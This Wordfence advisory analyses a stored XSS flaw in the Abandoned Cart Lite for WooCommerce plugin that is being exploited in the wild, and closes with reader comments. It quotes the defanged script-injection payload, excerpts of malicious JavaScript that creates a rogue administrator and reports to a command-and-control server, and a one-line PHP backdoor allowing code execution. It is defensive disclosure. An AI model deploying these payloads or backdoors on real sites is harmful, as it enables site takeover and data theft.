XSS Vulnerability in Abandoned Cart Plugin Leads To WordPress Site Takeovers

Last month, a stored cross-site scripting (XSS) flaw was patched in version 5.2.0 of the popular WordPress plugin Abandoned Cart Lite For WooCommerce. The plugin, which we’ll be referring to by its slug woocommerce-abandoned-cart, allows the owners of WooCommerce sites to track abandoned shopping carts in order to recover those sales. A lack of sanitation on both input and output allows attackers to inject malicious JavaScript payloads into various data fields, which will execute when a logged-in user with administrator privileges views the list of abandoned carts from their WordPress dashboard.

At this time, any WordPress sites making use of woocommerce-abandoned-cart, or its premium version, woocommerce-abandoned-cart-pro, are advised to update to the latest available version as soon as possible. Sites making use of the Wordfence WAF, both free and premium, are protected from the attacks detailed in this post due to the firewall’s built-in XSS protection. Affected users without Wordfence installed should consider a Site Security Audit to confirm the integrity of their WordPress sites.

In today’s post, we’ll take a look at the details of this vulnerability, how attackers are exploiting it in the wild to take over sites, and what site owners should do if they believe they’ve been attacked.

XSS Vulnerability In Detail

The guest-input side of woocommerce-abandoned-cart begins when an unauthenticated user builds a shopping cart and begins the checkout process.

An example of the Billing Details page on a basic WooCommerce site. This data is stored by woocommerce-abandoned-cart in case checkout isn’t completed.

With the plugin active, all of the data input by the guest is sent back to the plugin using the save_data AJAX action. The intent is if the checkout process is not completed, whether the page was navigated away from, or the browser closed, or the shopper just got distracted, the plugin can inform the shop’s owners within their dashboard.

function save_data() {
      if ( ! is_user_logged_in() ) {
          global $wpdb, $woocommerce;    
          if ( isset($_POST['billing_first_name']) && $_POST['billing_first_name'] != '' ){
              wcal_common::wcal_set_cart_session( 'billing_first_name', $_POST['billing_first_name'] );
          }
          if ( isset($_POST['billing_last_name']) && $_POST['billing_last_name'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_last_name', $_POST['billing_last_name'] );
          }            
          if ( isset($_POST['billing_company']) && $_POST['billing_company'] != '' ) {
              wcal_common::wcal_set_cart_session( 'billing_company', $_POST['billing_company'] );
          }   

However, the function used to handle these AJAX requests fails to perform any input sanitization on the various $_POST fields it receives. As shown in the above snippet, shopper data fields like billing_first_namebilling_last_name, and billing_company are stored directly as they were received. The data pulled from this request is stored in the WordPress database, and can be accessed by an administrator from their dashboard. There, they can view the individual carts, their customer information, and order totals.

An abandoned cart, patiently waiting to be recovered.

When this data is rendered in the administrator’s browser, no output sanitization takes place either. Particularly, billing_first_name and billing_last_name are concatenated into a single “Customer” field in the output table. This field is what hackers are targeting in active campaigns against this flaw.

Malicious JavaScript Hijacking Admin Sessions

The attacks on this vulnerability have been consistent in their execution. The attacker builds a cart, supplies bogus contact information, and abandons the cart. The names and emails are random, but the requests follow the same pattern: the generated first and last name are supplied together as billing_first_name, but the billing_last_name field contains the injected payload <script src=hXXps://bit[.]ly/2SzpVBY></script>.

Malware campaigns making use of URL shortening services like bit.ly are common. In addition to providing a basic layer of abstraction between the malicious request and the actual URL of the script, the shorter addresses make it easier to beat string length restrictions (especially when bypass techniques are employed, which isn’t the case in this scenario). Not only that, but if the domain at the other end of the URL shortener is taken down, the attacker can just point the bit.ly address at a new domain and keep all of their previous injections alive.

In this case, the bit.ly address resolves to hXXps://cdn-bigcommerce[.]com/visionstat.js. The domain, which attempts to look innocuous by impersonating the legitimate cdn.bigcommerce.com, points to the command and control (C2) server behind the infection. The target script, visionstat.js, is a malicious JavaScript payload which uses the victim’s own browser session to deploy backdoors on their site. Two backdoors are deployed: a rogue administrator account is created, and a deactivated plugin is infected with a code execution script. Both actions are executed by creating a hidden iframe in the admin’s existing browser window, then simulating the process of filling out and submitting the necessary forms within it.

function processNewUser(adminhref){
	var username = 'woouser';
	var email = 'woouser401a@mailinator.com';
	var password = 'K1YPRka7b0av1B';
	
	pfr=document.createElement('iframe');
	pfr.style.visibility='hidden';
	pfr.name='pfr';
	pfr.src=adminhref+'/user-new.php';

In the first backdoor, a hidden iframe is created which opens the new user creation form. This form is filled out with the information from the first few lines of the function seen above, with a username of “woouser” and an email address at Mailinator, a popular disposable inbox provider. The user is given the Administrator role, and the account is created.

When this new user is created, the attacker is notified in two ways. First, the visionstat.js payload makes an AJAX call to hXXps://cdn-bigcommerce[.]com/counterstat.php to phone home to its C2 with the URL of the compromised site. Second, the WordPress application running on the site will generate a new user notification email, which is sent to the Mailinator inbox associated with the rogue administrator account.

for (var at = 0; at < fl.length; at++) {
	try{
		if(fl[at].href.indexOf('action=activate&plugin=')>0){
			funcURL = fl[at].href.match(/action=activate&plugin=([^&]+)/)[1];

			//console.log(funcURL);
			break;
		}
	}catch(e){
	}
}
//console.log(funcURL);
if (funcURL == '')
{
	maindata.details = "Error: No disabled plugins!";
	SendData(maindata);
}
else
{
	maindata.details = "Found disabled plugin (" + funcURL + ")";
	SendData(maindata);
	processPluginEdit(adminhref, pfr1, funcURL);
}

For the second backdoor, visionstat.js opens another hidden iframe, this time to the site’s Plugins menu. There, it scans the list of installed plugins for an “Activate” link, which signifies an inactive plugin is present. Then, new content is injected into the inactive plugin, containing a simple PHP backdoor script.

<?php @extract($_REQUEST);@die($cdate($adate));

By sending a POST request to this script containing a PHP function as the cdate parameter, and an argument for that function as adate, they are able to perform a variety of actions, from executing arbitrary PHP code to running system commands on the compromised server. As with the creation of a rogue administrator, visionstat.js also phones home to the C2 server to inform the attacker that this backdoor was successfully deployed.

Plugin Vendor Deploys Unique Patch

Tyche Softwares, the plugin’s vendor, was made aware of the vulnerability via user reports on the WordPress.org forums. A patch was quickly released, and a security notice was posted in the plugin’s changelog. The patched version of the plugin applies WordPress’s built-in sanitize_text_field function to prevent the injection of new scripts.

            if ( 'yes' !== get_option( 'ac_lite_user_cleanup' ) ) {
                $query_cleanup = "UPDATE `".$wpdb->prefix."ac_guest_abandoned_cart_history_lite` SET 
                    billing_first_name = IF (billing_first_name LIKE '%<%', '', billing_first_name),
                    billing_last_name = IF (billing_last_name LIKE '%<%', '', billing_last_name),
                    billing_company_name = IF (billing_company_name LIKE '%<%', '', billing_company_name),
                    billing_address_1 = IF (billing_address_1 LIKE '%<%', '', billing_address_1),
                    billing_address_2 = IF (billing_address_2 LIKE '%<%', '', billing_address_2),
                    billing_city = IF (billing_city LIKE '%<%', '', billing_city),
                    billing_county = IF (billing_county LIKE '%<%', '', billing_county),
                    billing_zipcode = IF (billing_zipcode LIKE '%<%', '', billing_zipcode),
                    email_id = IF (email_id LIKE '%<%', '', email_id),
                    phone = IF (phone LIKE '%<%', '', phone),
                    ship_to_billing = IF (ship_to_billing LIKE '%<%', '', ship_to_billing),
                    order_notes = IF (order_notes LIKE '%<%', '', order_notes),
                    shipping_first_name = IF (shipping_first_name LIKE '%<%', '', shipping_first_name),
                    shipping_last_name = IF (shipping_last_name LIKE '%<%', '', shipping_last_name),
                    shipping_company_name = IF (shipping_company_name LIKE '%<%', '', shipping_company_name),
                    shipping_address_1 = IF (shipping_address_1 LIKE '%<%', '', shipping_address_1),
                    shipping_address_2 = IF (shipping_address_2 LIKE '%<%', '', shipping_address_2),
                    shipping_city = IF (shipping_city LIKE '%<%', '', shipping_city),
                    shipping_county = IF (shipping_county LIKE '%<%', '', shipping_county)";

                $wpdb->query( $query_cleanup );

                $email = 'woouser401a@mailinator.com';
                $exists = email_exists( $email );
                if ( $exists ) {
                    wp_delete_user( esc_html( $exists ) );
                }

                update_option( 'ac_lite_user_cleanup', 'yes' );
            }

In a rather direct attempt to address the active exploitation of this vulnerability, the developers also implemented a cleanup function in the patched version of their plugin. This function first performs a scan of the existing abandoned cart data, and removes any entries where a < symbol is encountered, which prevents subsequent execution of the malicious <script src=hXXps://bit[.]ly/2SzpVBY></script> payloads that may be present.

The next block of code is the interesting one, though. Because the plugin’s developers were made aware of this flaw due to reports of these same exploits, they include a check for the existence of the email address registered with the malicious “woouser” account. If a user with this email is identified, the plugin deletes that user.

Next Steps

While these are clever steps in addressing current incarnations of this campaign, it’s important that site owners don’t rely on these measures alone. This patch does not detect or remove the secondary backdoors injected into inactive plugins, and the nature of the initial XSS payload allows the email address of newly created rogue admins to be changed with very little effort by modifying the visionstat.js script hosted on the C2 site, or by changing the target of the bit.ly shortlink. The patch also leaves output sanitization untouched, meaning preexisting injected scripts can still execute in the dashboard if the cleanup function fails to remove them for any reason.

Our recommendation for site owners using either woocommerce-abandoned-cart or woocommerce-abandoned-cart-pro is to review their database contents for possible script injections. The exact name of the table to check will vary depending on your database prefix and the Lite/Pro status of your installed plugin, but guest shopper data can be found in the table with ac_guest_abandoned_cart_history in its name. After this check has been completed, review the user accounts present on your site. If any unauthorized administrator accounts are present, delete them immediately and begin your incident response process.

The good news for current Wordfence users is that these attacks are blocked by the XSS protection present in both the free and premium versions of our firewall. If you used one of these abandoned cart plugins and were not a Wordfence user prior to this patch, installing Wordfence and running a scan will tell you whether you have been hacked. Also consider reaching out to our team for a Site Security Audit, which includes a free year of Wordfence Premium in addition to the peace of mind provided by the audit itself.

Despite the release of a patch, these attacks are still ongoing and our investigation reveals new sites compromised daily. Please consider sharing this post as a public service announcement, to improve community awareness of these attacks and prompt updates for those who need them. As always, thank you for reading.

Did you enjoy this post? Share it!

Comments

6 Comments
  • Their response is pretty bad- they're not even sanitizing the inputs, they're just checking to see if *this* particular exploit is being used. Very, very poor programming practice. And not to put too fine a point on it, but it's inexcusable not to sanitize EVERY input no matter what it is. Shame on these 'programmers'.

    • Hi there! In the patched version, the inputs are indeed sanitized with WordPress's built-in sanitize_text_field function. I will update the post to ensure this is made clearer.

      Sorry for any confusion!

  • Thank You for sharing.

  • I am from the Tyche team, the authors of the Abandoned Cart plugin.

    This vulnerability was found & is exactly like it is described in this post. A patch was implemented from 48 hours of it being reported. The plugin was also scanned for any other such instances, and no other vulnerability was found.

    After the release, the plugin is no longer being used to compromise the sites. This has been confirmed to us by multiple customers who are using the plugin, including those who reported it. You can email me on the email associated with this comment if you have reason to believe otherwise. I have also dropped an email from your contact page.

    • Hi Vishal,

      You are correct that patched versions of the plugin are no longer susceptible to these flaws. However, releasing a patch doesn't remove a vulnerability from the wild. According to metrics on the plugin repository, more than half of the plugin's install base is running a vulnerable version of the software. These sites are indeed under active attack and compromises continue.

  • Hi Wordfence,

    Thanks for publishing this article, it is very thorough about the issue and potential problems.

    We will inform our customer base if they use this plugin and help them to update their websites with the patched version.

    Ben